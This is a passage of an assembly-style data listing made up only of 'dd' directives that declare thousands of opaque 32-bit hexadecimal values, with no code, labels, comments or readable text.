		dd 94A31C20h, 482F1E15h, 0F32D496Bh, 0CF6627BAh, 0A22788B0h
		dd 3F76C75Fh, 0A263F712h, 705C7822h, 6FCE8174h,	0F07BA914h
		dd 647FF295h, 5692B58h,	27193897h, 557F2880h, 31462689h
		dd 945825D0h, 0BBE99B88h, 5ADF594Dh, 6ED4912h, 0D0D98710h
		dd 62AB8BEEh, 0C0C118FEh, 51070BEEh, 0EB84BAB1h, 7F8DFFFCh
		dd 41F8E020h, 94F7DA3Fh, 0FD52F596h, 6D4C7F57h,	0E8FE54F0h
		dd 0A3ED4358h, 0A6F0E155h, 0D595EE7Ch, 0BE328B8Fh, 0E85A85CBh
		dd 0B2E7F42Bh, 57E7E916h, 0AE7CA01Ah, 0B8B140h,	4C384B91h
		dd 0A56DEA35h, 27C41848h, 0C0005A7Bh, 44F381E7h, 4160956Eh
		dd 1F10980Ch, 2DE9124Ch, 0A932AFB2h, 0A33AA268h, 295A0180h
		dd 834AE0DEh, 0D44132B5h, 13AB099Fh, 771681Ah, 89A37E4Bh
		dd 0D55B6F53h, 0AF1795BDh, 4873589Ch, 6C060436h, 1F8515A6h
		dd 0E60B25A2h, 0A3574604h, 0F261B740h, 0D42B4027h, 0B03FF67Ch
		dd 60A899F2h, 68FFE983h, 661BB027h, 6C470FA8h, 7AED0ECFh
		dd 430020E9h, 99C6205h,	3C82505Fh, 745CC0BAh, 38C4FE9h
		dd 92D6842h, 0AFD1BD2Fh, 747C6719h, 2BB67549h, 5C250246h
		dd 0CF012374h, 5BAAE93Ch, 0EF85AE55h, 0AAF494AEh, 0D7010013h
		dd 35173E43h, 0E94FD06Bh, 7997DA22h, 46253C1Ah,	4ABBEC80h
		dd 207A8162h, 0DB7BA136h, 0E160BF4h, 21507E42h,	69580781h
		dd 5D901A0h, 7C297DAAh,	400CE33Eh, 8E905F0Ch, 77A3E41h
		dd 0F07AA9B0h, 490E2D08h, 0F4EA9F25h, 70F681C0h, 4072511Dh
		dd 6C4FB4E3h, 49F37E49h, 7E24BE4h, 244E292h, 7F68C8B6h
		dd 0E36E753Eh, 1333BB20h, 9747B6E9h, 183F882h, 0F92B89FBh
		dd 513C8816h, 0FC5FBFC0h, 0E8BDB567h, 80F4F90Dh, 0E009F781h
		dd 7F19B43Bh, 61BE3A80h, 0DD691CA7h, 0E021D5BCh, 7EB113E9h
		dd 0DF18A1F6h, 0D6CA45C2h, 70BC181Dh, 787BEA83h, 40A69E47h
		dd 0E73C8951h, 0BBEF1353h, 7EB9F3D2h, 420849CEh, 0F89F12E2h
		dd 0A8ECA1A7h, 99CBF04h, 7F87EF97h, 0B5986EDh, 0E735A382h
		dd 40280500h, 0AC7E4BC2h, 0F00741E8h, 6252137h,	0CE1791Bh
		dd 0C34BB6C0h, 553DD57Bh, 56549838h, 0B0E0EBADh, 28AC2079h
		dd 66F10418h, 88EDCA3Ah, 63030CC2h, 83587B4Ah, 28BA13EAh
		dd 0C4F4E8ECh, 0A0134DBCh, 3A1FA1A0h, 0C80B140Eh, 0D0CF27F0h
		dd 61E076C4h, 0B450B758h, 25187022h, 0AE54FD0Bh, 4EFD5771h
		dd 76601B65h, 206A4186h, 6D286836h, 654D8E99h, 802B4B61h
		dd 469D227h, 0A876D6E2h, 80550121h, 61E592Ah, 8C3A64Fh
		dd 0C11F0A7Ah, 1088EFF4h, 0E108776Dh, 0AD690C89h, 0D440D908h
		dd 0A9BE40EFh, 638D9340h, 116D305Ah, 0FB880818h, 80468518h
		dd 10C65E5Ch, 6308708Fh, 884A815Ah, 0FD182010h,	10FA7C10h
		dd 0BC41C7DCh, 2980208Ch, 0C463BB08h, 10612218h, 7AD73208h
		dd 6699D864h, 4BDBF04h,	0DE045287h, 94510414h, 8EEB406h
		dd 2083FB20h, 6A319BD8h, 67462834h, 9918B303h, 1C184CF8h
		dd 8408C616h, 0C420189Ah, 0F4A93141h, 8CC04D10h, 292BF708h
		dd 967680B5h, 6DC308C4h, 20542106h, 8428A31h, 47014D8Eh
		dd 869052C2h, 34A5302h,	810011Dh, 3B1864A8h, 91D120E7h
		dd 0CABF1B80h, 8CD07D10h, 7C1828F8h, 70083162h,	107B0237h
		dd 0D846E905h, 5430B354h, 63A3BC60h, 2290181Ch,	7CC90810h
		dd 20AC4C18h, 0FC800BA0h, 0BC10C4A2h, 0F358047Eh, 0C6E4F04h
		dd 0FF7F714Ah, 159D601h, 6D0170B9h, 7E108807h, 0E4420CECh
		dd 0F840A208h, 7193657Ch, 0EBF848E2h, 0D9212518h, 6640C458h
		dd 0D1840CB8h, 2871C8D5h, 8A9F888h, 29115D0Fh, 99A18D31h
		dd 0FF108CAAh, 0C6BD08C6h, 88E4C59h, 18F02D33h,	0AF06CC6Eh
		dd 0C311055h, 0FDF908B9h, 8CB87A07h, 0A810AFF8h, 40560340h
		dd 0C4004A0h, 3DBE404Ah
		dd 48D22E41h, 0A969FE28h, 88C4BC8h, 4628B2DCh, 0BA4EF9C4h
		dd 84F4206h, 2880C131h,	0C901FB11h, 72A601FFh, 44961892h
		dd 450382Ch, 506FE55h, 5E201032h, 9452495Dh, 8491119h
		dd 92E02419h, 5A086B62h, 0CA5849D3h, 0C6518824h, 0C191C818h
		dd 44184764h, 0F450A093h, 0CCCF604h, 637BB91Dh,	304E183Dh
		dd 52B50815h, 110A32B8h, 910C04CDh, 14A6890h, 79AA8B88h
		dd 0C8C55438h, 81FC7C74h, 812C2440h, 463408C4h,	0EC79070Ch
		dd 99494864h, 115CAB06h, 0CC379F40h, 7F89ACB9h,	98C9F4A9h
		dd 4DC9A419h, 9C6080B4h, 0A4E8FC26h, 0EF84014Bh, 1E974603h
		dd 1842BC8Bh, 3B10431Bh, 752C0347h, 8913EB02h, 0A7B90E1Bh
		dd 105D03Dh, 408F0044h,	75C90B49h, 744B8BF7h, 2FDE2FB0h
		dd 0BC44F003h, 6C0333Ch, 304FB10Fh, 0E9AC092Ch,	0C8E8E1A5h
		dd 413E0711h, 52D08E10h, 6318E7BAh, 12E28180h, 29602F3Ch
		dd 874E9156h, 0FF79CF16h, 355A2700h, 576F2DC9h,	1DE2C7D4h
		dd 0C2E74DD7h, 2F08548Eh, 0AB77B358h, 64CA38Eh,	453FE824h
		dd 680B0C1Ah, 8652A672h, 5CA2193Eh, 503DD09h, 9428911Dh
		dd 3A6CFCE9h, 34EC819Dh, 0B9F4C743h, 7B1D52ACh,	8E1F6C0h
		dd 67EA5212h, 423CF8BCh, 0CC5A632Fh, 2094D998h,	68ED8149h
		dd 53883FF7h, 8100185Eh, 86A2AEBh, 6F71F709h, 48BF2080h
		dd 815B0104h, 4349CF01h, 0D7F77B20h, 0B7504BDh,	4EAF5EF5h
		dd 0EAC1E085h, 0EDAD9F46h, 0ECE7970Ch, 7799E984h, 95EEA218h
		dd 0FAF00180h, 0A85D4FF5h, 4DCB9F97h, 0ED307764h, 1F4FD368h
		dd 71C64CB8h, 0D695708Dh, 5D7E92Ah, 88EB5186h, 0F607819Fh
		dd 89258AFh, 5DE1DDB2h,	0DC95026Eh, 1055C9E2h, 626668ADh
		dd 8415C345h, 1F8CE77Fh, 0F540CCF2h, 0BB7580Eh,	451579EFh
		dd 2513BF20h, 1D6D5B2h,	1761CACh, 75E82F34h, 0DA0A8F06h
		dd 6F010C3Dh, 0E9F62483h, 32A5A5AAh, 0C3C19559h, 0FE59010Bh
		dd 0B5EBD9E8h, 16152EEh, 763D6888h, 3B9A317Fh, 80725746h
		dd 55406065h, 0B8898CBCh, 0F996555Eh, 0D85F86FAh, 0F48F15B2h
		dd 0ECA29D16h, 0A6D3204Fh, 0DFC7FFACh, 2229844Dh, 77E55550h
		dd 2BE893Eh, 4AA5025Dh,	0AB6807A6h, 46FDDFEh, 1AFC4964h
		dd 8862B6C0h, 0B5005AF3h, 38B7536Dh, 0E67FF780h, 0F75F90EFh
		dd 0F7987FD2h, 0D9BF03E4h, 63582854h, 0C968B021h, 6EF86D5Bh
		dd 0A33B04E5h, 5F971F17h, 5C5778EAh, 0EFF3515Fh, 0B4F98916h
		dd 725EC0E0h, 0BD2E5D0h, 0A4214AC1h, 7449F79Ch,	51591735h
		dd 0FD3F18B9h, 0EC05503Bh, 4066B7E9h, 0E4609B8Eh, 0A0F6580Ch
		dd 69C17149h, 63C377E9h, 182C2627h, 0B85E9FE6h,	86DCC2A2h
		dd 42DFF97Fh, 4F8EDE9Bh, 0A3445783h, 0B130FB9Dh, 2F99B951h
		dd 8F74082Dh, 8DAAAC92h, 0F529E4CEh, 0B5E7B180h, 1CFEE4C4h
		dd 802AB0B7h, 6B364EBh,	6AFFF3EEh, 0D1106AF2h, 187FBA03h
		dd 0BFD11691h, 5314A794h, 73D82545h, 9E69A6FEh,	6709FD1Eh
		dd 71A100FDh, 5E6857A7h, 0B8A78CB1h, 0C9043678h, 557BE901h
		dd 6DD42FF8h, 10F0BDEh,	0A3A814EEh, 0D12F45B0h,	0B5261412h
		dd 50075C51h, 57FB8C3Fh, 173DA302h, 0D0FA5A04h,	0B2296174h
		dd 0F007A5Fh, 0E973D566h, 1DD09141h, 15DCC5E0h,	0CC791F01h
		dd 0BE1E08A1h, 2431613Dh, 0B5166E2Ah, 39B75EFh,	81C0746h
		dd 0BAE8F08Dh, 0AC617301h, 8C30E9EFh, 0B8B66Eh,	3A6F4FD4h
		dd 50B02DB9h, 5EC1F990h, 7F918658h, 0A5555928h,	54294043h
		dd 497008FBh, 5B2B3100h, 0ED386A33h, 37D606AFh,	54514C2Dh
		dd 481EFD5h, 0C74B3DC1h, 0A127AC4Ah, 9E80595Fh,	4DBE3219h
		dd 703B5805h, 4BE98C3Dh, 9CB717Ch, 50256859h, 8D60515Eh
		dd 903FCF64h, 26E53AE0h, 159C392h, 77E7A872h, 2C16EBDh
		dd 0B9005F5Ch, 0D92D41CFh, 0E9F8432Ch, 0E739FBC4h, 7806AE36h
		dd 0E80D5420h, 0C5BEB55Ah, 0B56D44BDh, 0E9862945h, 33DD37Dh
		dd 0C0292EDh, 0B2E58976h, 75AC9609h, 4279877h, 7C8C223Ah
		dd 98042501h, 8044C2Ch,	0F235F0EAh, 9FACD85Ah, 5D0795A6h
		dd 13B22E9h, 8CD7F109h,	420A86E5h, 610E8BB8h, 57B9099Fh
		dd 0EB2D9900h, 0C0FD3F96h, 67361BB0h, 955AE94Dh, 293FE5E1h
		dd 0DA03F8E5h, 0B4F92BE1h, 676B03D6h, 0C89ED835h, 80D04A2h
		dd 53E46BD5h, 0D0685FE7h, 1E72524Ch, 0A7E1695Bh, 0C66160h
		dd 36F47EC2h, 6FE9CE01h, 5DE434FDh, 49341E45h, 80B5703Bh
		dd 55747425h, 4881C9Ah,	3B7C922Dh, 0E96DC0B5h, 2C99BABDh
		dd 162AEFB6h, 0BE270B2Eh, 1AD43186h, 6884EA85h,	8ABB5AF9h
		dd 50344FDFh, 8D045AEh,	0B42357C6h, 1364D874h, 0C0EA29C2h
		dd 542B2809h, 7B591C2Dh, 70E608C5h, 8055800h, 7639DA41h
		dd 1807015Fh, 0C2E90BA8h, 78A405DEh, 0A5F56209h, 0B3465BD2h
		dd 0E09C5550h, 65F22ABDh, 0A4364302h, 0C1F8F414h, 2F0D0968h
		dd 560484A6h, 0E86EE957h, 6852044Fh, 2CBE43F8h,	0E6971410h
		dd 0D2F3BF8Bh, 0DEB07F25h, 7D9AEBE9h, 4FF4DBFh,	0A8F6E950h
		dd 165D2FA2h, 42499E18h, 101F9DEh, 0B48152D8h, 173E8C68h
		dd 685FFD6Ch, 74F24E93h, 358039D0h, 705376B7h, 0D40C8B25h
		dd 19B2581Bh, 37BCB2A8h, 0FEFC15C4h, 2420B80Eh,	0B42D72DBh
		dd 12E80BD2h, 2453C64Ah, 233F2500h, 26351834h, 43CE2C74h
		dd 28ED20BAh, 30D66CC7h, 2DF43C39h, 562D48B7h, 9603834Ch
		dd 0B018481Fh, 1F8EA710h, 0B4C174BAh, 5DEA313Eh, 68097E2Ch
		dd 0DE5973B6h, 0D7836296h, 674A2A28h, 9C5D4BE7h, 5128382h
		dd 0C71F0AF3h, 0F50CFA85h, 345F52E2h, 7146BBFDh, 4A3E6F88h
		dd 9175AF5Ch, 50081683h, 13DC096Ah, 0BA6EA60Dh,	0AE812604h
		dd 0C94E6AA7h, 0BD846E06h, 89B37D82h, 5524429Dh, 0FEA59C45h
		dd 77E950A3h, 769D6970h, 5EE7C242h, 5F577480h, 25001661h
		dd 7CF757Dh, 31F01005h,	0E9EA7901h, 6A37259Ch, 0DECCECA5h
		dd 19D2354Eh, 0F71C0F12h, 0E714222h, 3539860h, 0A95C2F28h
		dd 0D00D3C3Ah, 0E569F1D4h, 0C3457F46h, 55592E2Ch, 1C75D82Ah
		dd 489B7112h, 0EFE7700Ch, 382A0EE6h, 0F6C6352Bh, 607C68D5h
		dd 36D6CE05h, 38C037BBh, 25B07ECFh, 1FC8949h, 0A04E7F10h
		dd 0E5FAFC7h, 0E0857EB2h, 0EFDBC9C2h, 6E32D4C1h, 972B8F21h
		dd 8CC317Bh, 1E11B28Bh,	0B74CF856h, 910BCBCCh, 86264A3Ah
		dd 4AB60696h, 0B8043060h, 3E2E28F0h, 48138B1Bh,	1D93CEB8h
		dd 0C2A570C3h, 173D1B62h, 0B2A59A05h, 82CBBA76h, 8802402Eh
		dd 6902D4EFh, 29700D6Ah, 78E77B60h, 0E5C47E28h,	0C076ECF3h
		dd 88172A9Fh, 0EB418012h, 3658DB35h, 0A20F42EAh, 0D606E500h
		dd 9EE2058h, 0CCDA29C7h, 0DA73C3D4h, 0CC694CD5h, 0BD38033Eh
		dd 45B8255Bh, 11AD20Eh,	0F59BA816h, 272FB683h, 30C66622h
		dd 93B98435h, 15AAD0ABh, 0B84AB13Bh, 0BF1A0DB8h, 47D5208Ah
		dd 39592DBEh, 0AB25BBC4h, 0F1A23812h, 576AE916h, 0E800BBA9h
		dd 55283340h, 25BF79BDh, 0D4F60147h, 0EDD15D84h, 30152E97h
		dd 4A09DFABh, 0E9823DF9h, 315B6945h, 0E8B87E09h, 12887C66h
		dd 0E2FA090Fh, 620996BAh, 18DA07E6h, 0D940F2C0h, 4A31E6E0h
		dd 0B15AF8D0h, 0B89485Dh, 0E7D4F6C6h, 9028C6E9h, 2A822093h
		dd 16EEF7EEh, 0C50E226Bh, 18D7298Ch, 4F2903FFh,	0B6EEC6C4h
		dd 4305C0Ah, 0E6D67162h, 0BCE9098Ch, 0C5BD21D2h, 0E0FA3083h
		dd 0A4477BEFh, 810501F7h, 0B56E6FCDh, 0A420F945h, 9B1C295Bh
		dd 814D6DCBh, 0B369DA0Dh
		dd 4F2CC243h, 0A7F6E8ACh, 0E4A1BAE2h, 4FF309B8h, 580019Bh
		dd 353F1307h, 2B691798h, 0FFB92B3Eh, 3412FC06h,	342CBD07h
		dd 59A24FF4h, 0B745FDFDh, 589D8698h, 8D4D4C45h,	664C4203h
		dd 2BA36846h, 569EF510h, 0E9478F16h, 828F5FC6h,	5733E909h
		dd 0D92FBBF5h, 101D07Dh, 0E8007BD3h, 2E410F15h,	13E53A81h
		dd 0E8590B17h, 8DD37A3h, 26A5F5C0h, 0BFB14ACAh,	634FC05h
		dd 24009652h, 9026E24h,	6BD09F4Fh, 0B6A32290h, 97EBAA98h
		dd 58013325h, 2D31A7B8h, 525C28C6h, 0D1D327BBh,	80869564h
		dd 4D735725h, 6FEC5F16h, 0EF25E9B8h, 5E2A107Fh,	5958974Bh
		dd 0E908D866h, 0F2DB9031h, 516D9C53h, 0C30C305Bh, 82C5917h
		dd 0BDB78A0h, 17D4212h,	820CFF4h, 4D4CE91Bh, 0B05C403Ch
		dd 781F7BE7h, 0B99EA068h, 0AB1E05D5h, 0A4D92948h, 2BE7FFF4h
		dd 0E90991B6h, 4772B913h, 0BCF5E3AAh, 32E92763h, 5168CE01h
		dd 93A3074Eh, 0EE473B50h, 41417297h, 0A2A7A381h, 0B292EB60h
		dd 5324A765h, 9B9E7769h, 642D7A10h, 5603A04Eh, 52E67E14h
		dd 35DB0494h, 1FAB451Ah, 0C06F0422h, 0F381FE07h, 63875BA0h
		dd 40AA2BDh, 92318043h,	6B5D95EEh, 8BB00C9h, 51C5BE11h
		dd 7DFD1C68h, 81598B7Bh, 1B3FB201h, 0D1FBD47Fh,	4BCF799Fh
		dd 2CFA04h, 0D31E19B8h,	0C3292A4Ch, 86D409E2h, 107E76BBh
		dd 5A925725h, 4186F955h, 0A527B3E9h, 0D12A904Ch, 167F8270h
		dd 0E95E0A82h, 89C33B8Bh, 307D0C7Dh, 333486FBh,	0F7F23359h
		dd 4512CEC8h, 41B95103h, 0E83A2571h, 302C74E1h,	0D20C6D5Fh
		dd 637C281Bh, 0D9DAF101h, 0CD017771h, 23CB22Ah,	0EDC0CEB5h
		dd 71866004h, 0C0E2FFFEh, 4B73E9C0h, 0ED0B4596h, 0EFF44039h
		dd 3AE4533h, 0F40893B1h, 9CF02EA1h, 48151068h, 27C1203Bh
		dd 7CF48B54h, 2CA55072h, 87D10EF5h, 7596FCEDh, 0FE00AEF1h
		dd 2C0D6856h, 5E312A72h, 800DA394h, 2F1D3363h, 0E36017E9h
		dd 6818505Ah, 9C7D31F1h, 0D95582FEh, 2FE9502Fh,	2C823F69h
		dd 38BEE843h, 0C4CBCAF7h, 0A403EBC9h, 3107EC1Fh, 883E3AB0h
		dd 7B8B6FC6h, 0F2A4BF13h, 5B6A9997h, 4FDFBBFDh,	93BDF36Ch
		dd 0D72925C5h, 17090A60h, 0B30EC853h, 60C66D2h,	5CE6B519h
		dd 2695E91Ch, 73FE4B38h, 80EE918Eh, 0F317B89Ch,	0E1068F0Bh
		dd 842EAD5h, 0BF144158h, 9F53A27Ah, 9A41399Bh, 0B8D40F3h
		dd 302A1335h, 8981BA5Eh, 0C2BABEh, 0B9129AF3h, 0CA2D767Bh
		dd 68EDB93Ah, 2D7A22C1h, 78B402D8h, 3C2D809h, 64203548h
		dd 55F16B07h, 20732E8h,	394B2F4Eh, 1F42D529h, 57153460h
		dd 0E7FFAE9Fh, 0E55B28B0h, 0BC749745h, 0F006A2CBh, 555B3BB7h
		dd 0FC0B6CA7h, 58C510F4h, 6BC1138Ch, 9756A97Dh,	0E21E805Ah
		dd 279FF3DDh, 300E989h,	9702AE7h, 0D020C992h, 0F27995D2h
		dd 0B5C077ACh, 3FB252EAh, 5930E99Ah, 2B3AC659h,	373CB3Bh
		dd 402330CEh, 79187B58h, 10174C3Dh, 7F11A302h, 855F210Dh
		dd 0F5A17A13h, 54E8C87Bh, 0A582C059h, 0FC2FFA8h, 0E175C8AFh
		dd 0C23ADDECh, 9EFCB97Ah, 0EAEAABCFh, 0C35D7EECh, 0E7843DEEh
		dd 0D2835283h, 0A716B202h, 0C3F06008h, 0DA4A1DAAh, 63E38068h
		dd 0D174F722h, 75446FEDh, 37FACE29h, 0FF02B4DDh, 0E90A94CFh
		dd 9EE2E63h, 0D028955h,	7C092962h, 0AE063430h, 9AC53BE2h
		dd 0D4C1F840h, 40B03F0Dh, 4FD55C31h, 0A639C0B4h, 633B7E21h
		dd 0C1517E01h, 129F2208h, 0DDDAEC6h, 0A58001EDh, 2D03E8C1h
		dd 1C2EAE72h, 0F00E9909h, 865CE965h, 94060655h,	0C1807B2h
		dd 0C1D559B7h, 0A731C51Ah, 9FCB169Fh, 0CAEE1258h, 745925A0h
		dd 0D5E67A7Eh, 63FFE910h, 4319534Ch, 0F4CF2FB1h, 0EC09D4Fh
		dd 0DF0855BDh, 0CD810213h, 45AC5CF1h, 6A1F583h,	0F1E9D091h
		dd 8C342283h, 93FE4450h, 6EEAB026h, 12612C2Fh, 7A3543DEh
		dd 9C2BB60h, 2D2A5EA8h,	851A857h, 2984E90Bh, 59C7D5Ah
		dd 0C968AAA0h, 0ECB31A4Fh, 4F6EB64Bh, 62B13880h, 82850D3h
		dd 0A92B136Ah, 3736017Bh, 1814C60Eh, 2161415Ch,	2298E87Ah
		dd 4344BEA0h, 0DE51C92Dh, 0E12E288Fh, 2CE7062Bh, 5312A918h
		dd 13FB25B3h, 0AA4312BBh, 1630ADC9h, 14AF697Eh,	9AE88B7Fh
		dd 1322C678h, 0AE28CC57h, 1FCE2CC0h, 736E5894h,	0A7B73100h
		dd 0F952E9B9h, 0CA9B909Fh, 63823E4Ah, 0D780802Fh, 1C6F215Bh
		dd 324E11F2h, 0EFB8616h, 0E30E52B2h, 0F214B667h, 0F9E5F10Ch
		dd 0BE0CF029h, 9EF1D8Eh, 33CE2E69h, 655FACB2h, 2D2225B2h
		dd 0F70953C9h, 39774C11h, 0FBD0EC9h, 1EA99442h,	294D1C12h
		dd 6CE10C5h, 0F5190C58h, 55271DFCh, 6516EC20h, 0FE29F2F8h
		dd 26585D41h, 93404BD8h, 5CA9D00Bh, 983D26B4h, 0E9ADF24h
		dd 89F5E9F3h, 1DAF712h,	0C020F237h, 3BA8DB42h, 5F289C6Bh
		dd 8558E921h, 0D59C4A9Bh, 8220B751h, 3C68B3C1h,	985B6530h
		dd 12120E74h, 835AE975h, 0E2E04AA6h, 913033BCh,	11946E2Bh
		dd 0FB124EA8h, 8EE4606h, 7B9A01BCh, 0FBE9468Dh,	24682373h
		dd 0E2070256h, 0E22F1E05h, 460113FEh, 814FA022h, 27DAA595h
		dd 0BF63FBF1h, 410A3E42h, 2094C902h, 85D77F10h,	408615A2h
		dd 3B270B6Ch, 8CDD4067h, 4D89C9Ch, 2930F4B2h, 251182F1h
		dd 395CBA00h, 0BC195FF5h, 78B6857Dh, 0ACECC3EFh, 5FBB13ECh
		dd 9EE502Fh, 5955C768h,	0AE18FADh, 37E92E62h, 840F5CC8h
		dd 49EE3B4Bh, 1C5F2807h, 2A6812CCh, 1C33B306h, 4F4975FDh
		dd 0D3AD8F58h, 25FF2218h, 8F2116BAh, 7299014Ch,	2EFFF2FEh
		dd 6F5082B9h, 0BC2DD204h, 52321304h, 0E2BD5E0Bh, 93C85F50h
		dd 5C806E9Ch, 76F52C68h, 0C26CC46Ch, 7E580622h,	11E345A0h
		dd 0BD906B7Ch, 145D0E5Bh, 0DE4DE882h, 4532755Dh, 95F5CCF5h
		dd 3B7B6040h, 0A511558Ch, 970BC506h, 31F21FCh, 0F40256CDh
		dd 0D0B5042Bh, 0E330C752h, 185F34B5h, 0A20168ACh, 0F7438935h
		dd 32C530D3h, 7C442624h, 0EB3AFB18h, 0F5AA124Ch, 0BF5E818h
		dd 21293AE9h, 535AD385h, 8FF8026Bh, 95C00342h, 0D8823D10h
		dd 9A4B0926h, 8BD5FD2Eh, 0D7BA8995h, 6F96560Ch,	63373013h
		dd 8DFAFC01h, 5FCA0729h, 6E417FA0h, 0E91720A2h,	0BA8C6996h
		dd 5A0B594h, 635CA5E7h,	4A1F1C5Bh, 7D5D7689h, 586CB390h
		dd 1C32143Eh, 4C250C99h, 0FEAB25DAh, 0ED507076h, 7A0C1684h
		dd 5D50AF7Fh, 94724908h, 70EA5809h, 7BB551E0h, 985F6B06h
		dd 5B86874h, 58294656h,	0CD8BEB31h, 0E85ADF4Ch,	0FC09E1CBh
		dd 70AA0AADh, 0A1D009AFh, 775ECD9Ah, 2441263h, 3FCCC3D1h
		dd 43406FC4h, 0DE502E42h, 5602DBF9h, 0E0C85268h, 2DFBFE95h
		dd 57C2A556h, 0B714FD54h, 21E4525Eh, 0C509BAC3h, 0D78F1746h
		dd 0E8A0CF33h, 0CB89CCC0h, 7B806CF3h, 0DBB40775h, 0D6900A7h
		dd 0FD42A63Fh, 0CC2B46F5h, 4A14C7CBh, 25FF3820h, 51A384D6h
		dd 0A13083EDh, 36AB8F7h, 51BF2DB8h, 38860269h, 0E120BEAh
		dd 0B183A408h, 54FCCCAAh, 82473BE3h, 0DA4D7E16h, 0F3F01DDFh
		dd 0CA60D90Fh, 9F7334BEh, 127A18F2h, 0F7CFED24h, 0CE4E72C0h
		dd 57BBA16Dh, 35DF6801h, 0A0EDEB6Fh, 883950A7h,	7BC32CF0h
		dd 575C612Ah, 6F4D2454h, 0F16088C2h, 0B764B1FAh, 0C2E26137h
		dd 0B209FA65h, 9C14FFFCh, 0F3FA6B2Fh, 0EDE92F1Dh, 0B8D024F5h
		dd 0FC700A3Fh, 94C78926h, 0E906EF01h, 2923982Ah, 0CCD65052h
		dd 0C69057C2h, 1275DD8Ah, 8228C3E5h, 0BC9E61F3h, 0C535B4F0h
		dd 87305AB6h, 0B3F737D1h
		dd 996276C6h, 0FDFBD70Eh, 46E726A1h, 60076137h,	0E790F30h
		dd 0F50C3F60h, 9C81A23h, 13867E9h, 0B1CA261Bh, 802F4658h
		dd 653F2FC6h, 7CBA4EF1h, 0F44ABA5Dh, 6853F830h,	34554A4Eh
		dd 4AC6A91Eh, 0E9DF78FEh, 1010249h, 75CCCF81h, 0C8236D2h
		dd 6A292803h, 0ABA99486h, 686EEC78h, 0A4280C3Bh, 4D4F928Ah
		dd 5A01D494h, 8768C588h, 51F33B7Bh, 6054DE2Fh, 9AA4F11Dh
		dd 6D0B6805h, 31AC1152h, 3A12F7B1h, 0D4EEA552h,	59B4AFECh
		dd 0B5A77E68h, 539D346Ch, 7C8D0BBBh, 6E6790C8h,	0BE12A600h
		dd 4BF19DB5h, 34C64E29h, 6F25BF05h, 0B173B0D3h,	0BF496794h
		dd 0C496CF1h, 0E7657321h, 0FEDDB12Fh, 1C7D1FEAh, 6A852AADh
		dd 0E8DAA0B6h, 4CA23E69h, 582BF210h, 8A71290Ch,	7C70BA80h
		dd 25E965D0h, 3554A8CDh, 0F4EB9F62h, 4105E088h,	475A5E3Ch
		dd 0AC10FAE8h, 90044D64h, 2FC82475h, 8113A307h,	6059C279h
		dd 2C3C5AA9h, 1ACB2F64h, 22D53EC7h, 1FC258Eh, 0F94106BDh
		dd 0EEAC307Ch, 0F25A5273h, 0D9417AA1h, 0E66F3239h, 56EC5E1Eh
		dd 2D7CEDA5h, 58E582D9h, 0EB515701h, 0C43CE748h, 31FA0201h
		dd 77335A32h, 87EA1043h, 512DD0Ah, 51C0C7EBh, 9E45B252h
		dd 0D3DB150Ch, 0A20CAF10h, 867A9FE9h, 0D29246EBh, 18A6BF04h
		dd 0E5C53957h, 0F160181h, 4439ED61h, 103F50Eh, 0D335BC13h
		dd 42C36804h, 874E61A7h, 22E7E2A8h, 91F21EDAh, 98875C28h
		dd 0E4BC5D5Eh, 2037FA18h, 431862Ch, 43695079h, 6D78BB00h
		dd 81152B07h, 67621BF3h, 99E8550Dh, 993F2E95h, 2CB004Ah
		dd 551D9130h, 11F60BBDh, 73E466E6h, 575FE503h, 7A4D76C2h
		dd 0AF22320Eh, 43C0C53Ah, 0AE9033A7h, 3AFBE916h, 1E07724h
		dd 29D540E4h, 0F2A4BE91h, 1FC0BBC4h, 2C686690h,	0C031467Dh
		dd 1DB21F8Ch, 4104E7B0h, 432C8775h, 5B2FC380h, 0D3025040h
		dd 5A310148h, 0E404BC0Dh, 69B07E1Eh, 0A3CE1F66h, 0A4C3948Dh
		dd 3F0B8210h, 49150A68h, 662E9E34h, 16E96614h, 35EBE44Fh
		dd 982AE2AFh, 2531F67Ah, 0B10025D5h, 682EB951h,	0E93AF909h
		dd 97035818h, 498B97DCh, 0A7786513h, 0E91A8494h, 778F2BE3h
		dd 9A2517E4h, 8A6ED9E8h, 28AD364Ah, 0E22EE8B2h,	40EA9743h
		dd 9A96157Eh, 74C58E20h, 479E2D6Fh, 0C555719Ah,	0BB51AD13h
		dd 2275609Ah, 80D3F7D9h, 446957C0h, 70E9123Dh, 10B2CFD9h
		dd 5021F08h, 6D48616Ch,	3BA5B7E0h, 0C6597D26h, 0BA03E010h
		dd 31B4499h, 0A046AAD5h, 54940B8h, 0F57FA72Dh, 9709BB0Dh
		dd 5DEB42AAh, 0D9B0DE67h, 9171FB68h, 596EBC20h,	0C0505B04h
		dd 0D53DA054h, 0F3E95F0Dh, 0B83B1AADh, 0FE4F793Fh, 0FD3BAD69h
		dd 36EF13EAh, 80653DFBh, 0ED685238h, 0B4057D6Fh, 4AC25899h
		dd 2E94E613h, 0BD02C9BCh, 0CBEDA9CDh, 302094D8h, 0FC567695h
		dd 0E44FBCF4h, 4D8EFA50h, 1DDE5C2Fh, 9F421E27h,	712019E4h
		dd 7EBA00E7h, 0C109C82Ah, 9CC207E2h, 7DEFDB5Ch,	45F70A01h
		dd 423871B3h, 889EB00h,	12F8A38Fh, 5301A5Ch, 5B262E32h
		dd 0F0415EECh, 39303EC3h, 274F185Fh, 29051980h,	6D74DECBh
		dd 0CDC60791h, 8BDFA425h, 0D85263B6h, 24E54CEAh, 28B3F771h
		dd 91EE34CBh, 6D8EEF34h, 0D3DCAAD3h, 7731B5F9h,	10A863C1h
		dd 1348E4B4h, 20F1201Ch, 777EAC09h, 58500950h, 5F542DDCh
		dd 3862D3D9h, 0D64B8073h, 337F444h, 2FABBE56h, 0EEE01A2Bh
		dd 0CB9834A3h, 0F491E917h, 0F8847EEDh, 0C07AFC79h, 0A776C60h
		dd 98574D4Fh, 8FD05327h, 5FE36E38h, 1C7E321h, 30F76341h
		dd 4CDE2D00h, 0ADF46DECh, 0D2223169h, 9F87FB9h,	768806A9h
		dd 68417F79h, 0B92A0A0Fh, 5F21D3F4h, 7C54DE71h,	79E5BC67h
		dd 3A5627E8h, 10042911h, 0A64CE637h, 92689B05h,	0EC6DBB2Fh
		dd 0DE80ED3Eh, 30C4A456h, 26B1B6EFh, 9556AE57h,	55B6DF4h
		dd 7E9551Dh, 1A8144D6h,	0DF58FC7Dh, 714EADBCh, 21FDECC5h
		dd 4A901B4Fh, 7B46447Ch, 172C271Ch, 7AE591E4h, 0F40CF95Ah
		dd 21E99205h, 7B505864h, 7EC61CC2h, 8FCC828h, 520E855Ch
